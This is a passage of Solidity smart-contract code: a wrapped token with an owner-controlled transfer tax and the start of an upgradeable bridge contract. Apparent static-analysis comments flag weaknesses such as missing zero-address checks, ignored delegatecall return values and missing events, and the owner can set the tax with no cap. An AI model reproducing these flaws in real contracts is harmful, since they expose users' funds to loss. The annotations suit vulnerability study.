zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ZUTToken is Ownable, ERC20 {\n using Strings for string;\n\n uint256 private immutable _maxSupply;\n\n uint256 private _currentMinted;\n\n uint256 public taxPercentage;\n\n address public taxDestination;\n\n address public unisatAddy;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b6b1c4c): ZUTToken.constructor(string,uint256,uint256,address,address).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for b6b1c4c: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c204724): ZUTToken.constructor(string,uint256,uint256,address,address)._taxDestination lacks a zerocheck on \t taxDestination = _taxDestination\n\t// Recommendation for c204724: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 33c250a): ZUTToken.constructor(string,uint256,uint256,address,address)._unisatAddy lacks a zerocheck on \t unisatAddy = _unisatAddy\n\t// Recommendation for 33c250a: Check that the address is not zero.\n constructor(\n string memory name,\n uint256 initialMaxSupply,\n uint256 _taxPercentage,\n address _taxDestination,\n address _unisatAddy\n ) ERC20(concat(\"Wrapped-\", name), concat(\"w\", name)) {\n _maxSupply = initialMaxSupply;\n\n taxPercentage = _taxPercentage;\n\n\t\t// missing-zero-check | ID: c204724\n taxDestination = _taxDestination;\n\n\t\t// missing-zero-check | ID: 33c250a\n unisatAddy = _unisatAddy;\n }\n\n function concat(\n string memory a,\n string memory b\n ) internal pure returns (string memory) {\n return string(abi.encodePacked(a, b));\n }\n\n function maxSupply() public view returns (uint256) {\n return _maxSupply;\n }\n\n function currentlyMintedSupply() public view returns (uint256) {\n return _currentMinted;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 33cfc77): ZUTToken.mintTo(address,uint256) should emit an event for _currentMinted += amount \n\t// Recommendation for 33cfc77: Emit an event for critical parameter changes.\n function mintTo(address to, uint256 amount) external onlyOwner {\n require(\n _currentMinted + amount <= _maxSupply,\n \"Exceeds maximum supply\"\n );\n\n _mint(to, amount);\n\n\t\t// events-maths | ID: 33cfc77\n _currentMinted += amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 40ff086): ZUTToken.burnFrom(address,uint256) should emit an event for _currentMinted = amount \n\t// Recommendation for 40ff086: Emit an event for critical parameter changes.\n function burnFrom(address fromAddress, uint256 amount) external onlyOwner {\n _burn(fromAddress, amount);\n\n\t\t// events-maths | ID: 40ff086\n _currentMinted -= amount;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (recipient == unisatAddy || _msgSender() == unisatAddy) {\n uint256 taxAmount = (amount * taxPercentage) / 100;\n\n amount = amount - taxAmount;\n\n _transfer(_msgSender(), taxDestination, taxAmount);\n }\n\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8932ac7): ZUTToken.setTaxPercentage(uint256) should emit an event for taxPercentage = _taxPercentage \n\t// Recommendation for 8932ac7: Emit an event for critical parameter changes.\n function setTaxPercentage(uint256 _taxPercentage) external onlyOwner {\n\t\t// events-maths | ID: 8932ac7\n taxPercentage = _taxPercentage;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 641ad55): ZUTToken.setTaxDestination(address)._taxDestination lacks a zerocheck on \t taxDestination = _taxDestination\n\t// Recommendation for 641ad55: Check that the address is not zero.\n function setTaxDestination(address _taxDestination) external onlyOwner {\n\t\t// missing-zero-check | ID: 641ad55\n taxDestination = _taxDestination;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: db1b52e): ZUTToken.setUnisatAddy(address)._unisatAddy lacks a zerocheck on \t unisatAddy = _unisatAddy\n\t// Recommendation for db1b52e: Check that the address is not zero.\n function setUnisatAddy(address _unisatAddy) external onlyOwner {\n\t\t// missing-zero-check | ID: db1b52e\n unisatAddy = _unisatAddy;\n }\n}\n\nlibrary Counters {\n struct Counter {\n uint256 _value;\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n\n require(value > 0, \"Counter: decrement overflow\");\n\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n\nlibrary EnumerableSet {\n struct Set {\n bytes32[] _values;\n mapping(bytes32 => uint256) _indexes;\n }\n\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n\n set._indexes[value] = set._values.length;\n\n return true;\n } else {\n return false;\n }\n }\n\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n uint256 toDeleteIndex = valueIndex - 1;\n\n uint256 lastIndex = set._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n bytes32 lastValue = set._values[lastIndex];\n\n set._values[toDeleteIndex] = lastValue;\n\n set._indexes[lastValue] = valueIndex;\n }\n\n set._values.pop();\n\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n function _contains(\n Set storage set,\n bytes32 value\n ) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n function _at(\n Set storage set,\n uint256 index\n ) private view returns (bytes32) {\n return set._values[index];\n }\n\n function _values(Set storage set) private view returns (bytes32[] memory) {\n return set._values;\n }\n\n struct Bytes32Set {\n Set _inner;\n }\n\n function add(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n function remove(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n function contains(\n Bytes32Set storage set,\n bytes32 value\n ) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n Bytes32Set storage set,\n uint256 index\n ) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n function values(\n Bytes32Set storage set\n ) internal view returns (bytes32[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n bytes32[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct AddressSet {\n Set _inner;\n }\n\n function add(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function remove(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function contains(\n AddressSet storage set,\n address value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n AddressSet storage set,\n uint256 index\n ) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n function values(\n AddressSet storage set\n ) internal view returns (address[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n address[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct UintSet {\n Set _inner;\n }\n\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n function remove(\n UintSet storage set,\n uint256 value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n function contains(\n UintSet storage set,\n uint256 value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n UintSet storage set,\n uint256 index\n ) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n\n function values(\n UintSet storage set\n ) internal view returns (uint256[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n uint256[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n}\n\nlibrary StorageSlotUpgradeable {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\ninterface IERC1967Upgradeable {\n event Upgraded(address indexed implementation);\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n event BeaconUpgraded(address indexed beacon);\n}\n\ninterface IBeaconUpgradeable {\n function implementation() external view returns (address);\n}\n\ninterface IERC1822ProxiableUpgradeable {\n function proxiableUUID() external view returns (bytes32);\n}\n\ninterface IERC20PermitUpgradeable {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\ninterface IERC20Upgradeable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\nlibrary AddressUpgradeable {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nlibrary SafeERC20Upgradeable {\n using AddressUpgradeable for address;\n\n function safeTransfer(\n IERC20Upgradeable token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20Upgradeable token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance + value\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance - value\n )\n );\n }\n }\n\n function forceApprove(\n IERC20Upgradeable token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeWithSelector(\n token.approve.selector,\n spender,\n value\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, 0)\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function safePermit(\n IERC20PermitUpgradeable token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n\n token.permit(owner, spender, value, deadline, v, r, s);\n\n uint256 nonceAfter = token.nonces(owner);\n\n require(\n nonceAfter == nonceBefore + 1,\n \"SafeERC20: permit did not succeed\"\n );\n }\n\n function _callOptionalReturn(\n IERC20Upgradeable token,\n bytes memory data\n ) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n require(\n returndata.length == 0 || abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n\n function _callOptionalReturnBool(\n IERC20Upgradeable token,\n bytes memory data\n ) private returns (bool) {\n (bool success, bytes memory returndata) = address(token).call(data);\n\n return\n success &&\n (returndata.length == 0 || abi.decode(returndata, (bool))) &&\n AddressUpgradeable.isContract(address(token));\n }\n}\n\nabstract contract Initializable {\n uint8 private _initialized;\n\n bool private _initializing;\n\n event Initialized(uint8 version);\n\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n\n require(\n (isTopLevelCall && _initialized < 1) ||\n (!AddressUpgradeable.isContract(address(this)) &&\n _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = 1;\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint8 version) {\n require(\n !_initializing && _initialized < version,\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = version;\n\n _initializing = true;\n\n _;\n\n _initializing = false;\n\n emit Initialized(version);\n }\n\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n\n _;\n }\n\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n\n emit Initialized(type(uint8).max);\n }\n }\n\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n\nabstract contract ERC1967UpgradeUpgradeable is\n Initializable,\n IERC1967Upgradeable\n{\n function __ERC1967Upgrade_init() internal onlyInitializing {}\n\n function __ERC1967Upgrade_init_unchained() internal onlyInitializing {}\n\n bytes32 private constant _ROLLBACK_SLOT =\n 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n bytes32 internal constant _IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n function _getImplementation() internal view returns (address) {\n return\n StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n require(\n AddressUpgradeable.isContract(newImplementation),\n \"ERC1967: new implementation is not a contract\"\n );\n\n StorageSlotUpgradeable\n .getAddressSlot(_IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n\n emit Upgraded(newImplementation);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 059123e): ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) ignores return value by AddressUpgradeable.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 059123e: Ensure that all the return values of the function calls are used.\n function _upgradeToAndCall(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n _upgradeTo(newImplementation);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 059123e\n AddressUpgradeable.functionDelegateCall(newImplementation, data);\n }\n }\n\n function _upgradeToAndCallUUPS(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {\n _setImplementation(newImplementation);\n } else {\n try\n IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID()\n returns (bytes32 slot) {\n require(\n slot == _IMPLEMENTATION_SLOT,\n \"ERC1967Upgrade: unsupported proxiableUUID\"\n );\n } catch {\n revert(\"ERC1967Upgrade: new implementation is not UUPS\");\n }\n\n _upgradeToAndCall(newImplementation, data, forceCall);\n }\n }\n\n bytes32 internal constant _ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n function _getAdmin() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n require(\n newAdmin != address(0),\n \"ERC1967: new admin is the zero address\"\n );\n\n StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n }\n\n function _changeAdmin(address newAdmin) internal {\n emit AdminChanged(_getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant _BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n function _getBeacon() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n require(\n AddressUpgradeable.isContract(newBeacon),\n \"ERC1967: new beacon is not a contract\"\n );\n\n require(\n AddressUpgradeable.isContract(\n IBeaconUpgradeable(newBeacon).implementation()\n ),\n \"ERC1967: beacon implementation is not a contract\"\n );\n\n StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 989aab7): ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) ignores return value by AddressUpgradeable.functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(),data)\n\t// Recommendation for 989aab7: Ensure that all the return values of the function calls are used.\n function _upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data,\n bool forceCall\n ) internal {\n _setBeacon(newBeacon);\n\n emit BeaconUpgraded(newBeacon);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 989aab7\n AddressUpgradeable.functionDelegateCall(\n IBeaconUpgradeable(newBeacon).implementation(),\n data\n );\n }\n }\n\n uint256[50] private __gap;\n}\n\nabstract contract UUPSUpgradeable is\n Initializable,\n IERC1822ProxiableUpgradeable,\n ERC1967UpgradeUpgradeable\n{\n function __UUPSUpgradeable_init() internal onlyInitializing {}\n\n function __UUPSUpgradeable_init_unchained() internal onlyInitializing {}\n\n address private immutable __self = address(this);\n\n modifier onlyProxy() {\n require(\n address(this) != __self,\n \"Function must be called through delegatecall\"\n );\n\n require(\n _getImplementation() == __self,\n \"Function must be called through active proxy\"\n );\n\n _;\n }\n\n modifier notDelegated() {\n require(\n address(this) == __self,\n \"UUPSUpgradeable: must not be called through delegatecall\"\n );\n\n _;\n }\n\n function proxiableUUID()\n external\n view\n virtual\n override\n notDelegated\n returns (bytes32)\n {\n return _IMPLEMENTATION_SLOT;\n }\n\n function upgradeTo(address newImplementation) public virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);\n }\n\n function upgradeToAndCall(\n address newImplementation,\n bytes memory data\n ) public payable virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, data, true);\n }\n\n function _authorizeUpgrade(address newImplementation) internal virtual;\n\n uint256[50] private __gap;\n}\n\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n uint256[49] private __gap;\n}\n\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {}\n\n function __Context_init_unchained() internal onlyInitializing {}\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n uint256[50] private __gap;\n}\n\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n event Paused(address account);\n\n event Unpaused(address account);\n\n bool private _paused;\n\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n modifier whenNotPaused() {\n _requireNotPaused();\n\n _;\n }\n\n modifier whenPaused() {\n _requirePaused();\n\n _;\n }\n\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n _paused = false;\n\n emit Unpaused(_msgSender());\n }\n\n uint256[49] private __gap;\n}\n\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n uint256[49] private __gap;\n}\n\ncontract OrdBridge is\n Initializable,\n OwnableUpgradeable,\n ReentrancyGuardUpgradeable,\n PausableUpgradeable,\n UUPSUpgradeable\n{\n using SafeERC20Upgradeable for IERC20Upgradeable;\n\n using EnumerableSet for EnumerableSet.UintSet;\n\n using Counters for Counters.Counter;\n\n uint256 public taxPercentage;\n\n address public taxDestination;\n\n address public uniAddy;\n\n struct BurnForBRCEntry {\n uint256 id;\n string chain;\n string ticker;\n address user;\n uint256 amount;\n string addr;\n }\n\n constructor() {\n _disableInitializers();\n }\n\n address public feeRecipient;\n\n uint256 public TOKEN_FEE_PERCENT_IN_BPS;\n\n uint256 public BURN_ETH_FEE;\n\n mapping(string => address) public tokenContracts;\n\n mapping(string => uint256) maxSupplyForTicker;\n\n mapping(string => bool) txIdsMap;\n\n mapping(string => mapping(address => uint256)) public mintableERCTokens;\n\n EnumerableSet.UintSet private burnEntriesSet;\n\n Counters.Counter private counters;\n\n mapping(uint => BurnForBRCEntry) burnEntriesMap;\n\n event ERCTokenContractCreated(string indexed ticker, address indexed token);\n\n event MintableERCEntryAdded(\n string indexed ticker,\n address indexed user,\n uint256 amount,\n string txId\n );\n\n event MintableERCEntryClaimed(\n string indexed ticker,\n address indexed user,\n uint256 amount,\n uint256 real,\n uint256 fee\n );\n\n event BurnForBRCEntryAdded(\n string chain,\n string indexed ticker,\n address indexed user,\n string indexed addr,\n uint256 id,\n uint256 amount\n );\n\n event BurnForBRCEntryProcessed(\n string chain,\n string indexed ticker,\n address indexed user,\n string indexed addr,\n uint256 id,\n uint256 count\n );\n\n event Unpause();\n\n event Pause();\n\n function initialize() public initializer {\n __Context_init_unchained();\n\n __Ownable_init_unchained();\n\n __ReentrancyGuard_init_unchained();\n\n __Pausable_init_unchained();\n\n __UUPSUpgradeable_init_unchained();\n\n taxPercentage = 5;\n\n taxDestination = address(this);\n\n uniAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n }\n\n function getBurnForBRCEntriesCountToProcess()\n public\n view\n returns (uint256 count)\n {\n return burnEntriesSet.length();\n }\n\n function checkPendingERCToClaimForWalletWithTickers(\n address wallet,\n string[] memory tickers\n ) external view returns (string[] memory, uint256[] memory) {\n string[] memory pendingTickers = new string[](tickers.length);\n\n uint256[] memory pendingCounts = new uint256[](tickers.length);\n\n uint256 pendingIndex = 0;\n\n for (uint256 i = 0; i < tickers.length; i++) {\n string memory uppercaseTicker = uppercase(tickers[i]);\n\n if (mintableERCTokens[uppercaseTicker][wallet] > 0) {\n pendingTickers[pendingIndex] = uppercaseTicker;\n\n 